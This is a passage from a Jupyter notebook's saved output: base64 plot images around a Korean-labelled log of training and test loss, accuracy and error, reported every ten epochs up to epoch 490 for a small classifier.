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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "3 0.019800007343292236\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.9619661569595337 0.7574999928474426 0.24250000715255737\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.9574537873268127 0.7174999713897705 0.2825000286102295\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.27779194712638855 0.8690000176429749 0.13099998235702515\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.3537924885749817 0.8700000047683716 0.12999999523162842\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.18672512471675873 0.921500027179718 0.07849997282028198\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21712537109851837 0.9150000214576721 0.08499997854232788\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12124663591384888 0.949999988079071 0.050000011920928955\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10743584483861923 0.9524999856948853 0.047500014305114746\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09589138627052307 0.9649999737739563 0.0350000262260437\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05066463351249695 0.9725000262260437 0.0274999737739563\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08467689901590347 0.9819999933242798 0.018000006675720215\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09786470234394073 0.9850000143051147 0.014999985694885254\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05333828181028366 0.9869999885559082 0.013000011444091797\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.025532430037856102 0.9825000166893005 0.017499983310699463\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.047580987215042114 0.9865000247955322 0.013499975204467773\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09515942633152008 0.9900000095367432 0.009999990463256836\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04819335415959358 0.9900000095367432 0.009999990463256836\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05972636491060257 0.987500011920929 0.012499988079071045\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05995362997055054 0.9884999990463257 0.011500000953674316\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03232840076088905 0.9925000071525574 0.007499992847442627\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04830968379974365 0.9819999933242798 0.018000006675720215\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.009902013465762138 0.9925000071525574 0.007499992847442627\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.049495164304971695 0.9850000143051147 0.014999985694885254\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10454854369163513 0.9825000166893005 0.017499983310699463\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03281594067811966 0.9865000247955322 0.013499975204467773\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04520753026008606 0.987500011920929 0.012499988079071045\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.017099270597100258 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.030604343861341476 0.987500011920929 0.012499988079071045\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05699784681200981 0.9894999861717224 0.010500013828277588\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03650158643722534 0.9925000071525574 0.007499992847442627\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03285027667880058 0.9884999990463257 0.011500000953674316\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.013610852882266045 0.9950000047683716 0.004999995231628418\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06453412771224976 0.9929999709129333 0.00700002908706665\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06562671065330505 0.987500011920929 0.012499988079071045\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04106391966342926 0.9825000166893005 0.017499983310699463\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.048203662037849426 0.9900000095367432 0.009999990463256836\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.025029495358467102 0.9904999732971191 0.00950002670288086\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.007188798859715462 0.9900000095367432 0.009999990463256836\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05546313151717186 0.9865000247955322 0.013499975204467773\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04687303304672241 0.987500011920929 0.012499988079071045\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01833365298807621 0.9879999756813049 0.012000024318695068\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.02898307517170906 0.9900000095367432 0.009999990463256836\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04223103076219559 0.987500011920929 0.012499988079071045\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.008172715082764626 0.9800000190734863 0.019999980926513672\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0827435776591301 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.012382080778479576 0.9950000047683716 0.004999995231628418\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.029043491929769516 0.9894999861717224 0.010500013828277588\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06767331063747406 0.9925000071525574 0.007499992847442627\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04424868896603584 0.9869999885559082 0.013000011444091797\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.003910559695214033 0.9850000143051147 0.014999985694885254\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02117079310119152 0.9900000095367432 0.009999990463256836\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.014692636206746101 0.987500011920929 0.012499988079071045\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00842395517975092 0.9894999861717224 0.010500013828277588\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.011053375899791718 0.9900000095367432 0.009999990463256836\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.010264475829899311 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.009297074750065804 0.9900000095367432 0.009999990463256836\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.018851835280656815 0.987500011920929 0.012499988079071045\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001428646850399673 0.9975000023841858 0.002499997615814209\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0052075437270104885 0.9919999837875366 0.008000016212463379\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.013939132913947105 0.987500011920929 0.012499988079071045\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03850475698709488 0.9879999756813049 0.012000024318695068\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.016918759793043137 0.9950000047683716 0.004999995231628418\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00898592546582222 0.9909999966621399 0.009000003337860107\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00033691333374008536 0.9925000071525574 0.007499992847442627\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.041020624339580536 0.9919999837875366 0.008000016212463379\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005623198114335537 0.9925000071525574 0.007499992847442627\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.017836274579167366 0.9919999837875366 0.008000016212463379\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004958081990480423 0.9900000095367432 0.009999990463256836\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.022822365164756775 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010000987909734249 0.9950000047683716 0.004999995231628418\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.013532224111258984 0.9835000038146973 0.016499996185302734\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.007962178438901901 0.9900000095367432 0.009999990463256836\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012563461437821388 0.987500011920929 0.012499988079071045\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.016937630251049995 0.987500011920929 0.012499988079071045\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.029926834627985954 0.9860000014305115 0.013999998569488525\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010874415747821331 0.9900000095367432 0.009999990463256836\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01246790774166584 0.9919999837875366 0.008000016212463379\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0026036868803203106 0.9800000190734863 0.019999980926513672\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.006822639610618353 0.9884999990463257 0.011500000953674316\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2080356776714325 0.9950000047683716 0.004999995231628418\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05504145473241806 0.9919999837875366 0.008000016212463379\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0038420958444476128 0.9900000095367432 0.009999990463256836\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03557784482836723 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005115460604429245 0.9900000095367432 0.009999990463256836\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.010725655592978 0.9904999732971191 0.00950002670288086\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0953260213136673 0.9825000166893005 0.017499983310699463\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03176980838179588 0.9904999732971191 0.00950002670288086\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.048634257167577744 0.9850000143051147 0.014999985694885254\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04632832109928131 0.9890000224113464 0.010999977588653564\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0022990850266069174 0.9850000143051147 0.014999985694885254\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.058446500450372696 0.9894999861717224 0.010500013828277588\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00466702226549387 0.9850000143051147 0.014999985694885254\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.010921482928097248 0.9869999885559082 0.013000011444091797\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05726923421025276 0.987500011920929 0.012499988079071045\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.011906567960977554 0.9915000200271606 0.008499979972839355\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.024119213223457336 0.9975000023841858 0.002499997615814209\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.18674592673778534 0.9919999837875366 0.008000016212463379\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001824350911192596 0.9900000095367432 0.009999990463256836\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.031233081594109535 0.9879999756813049 0.012000024318695068\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0018772014882415533 0.9925000071525574 0.007499992847442627\n" ] }, { "data": { "image/png": "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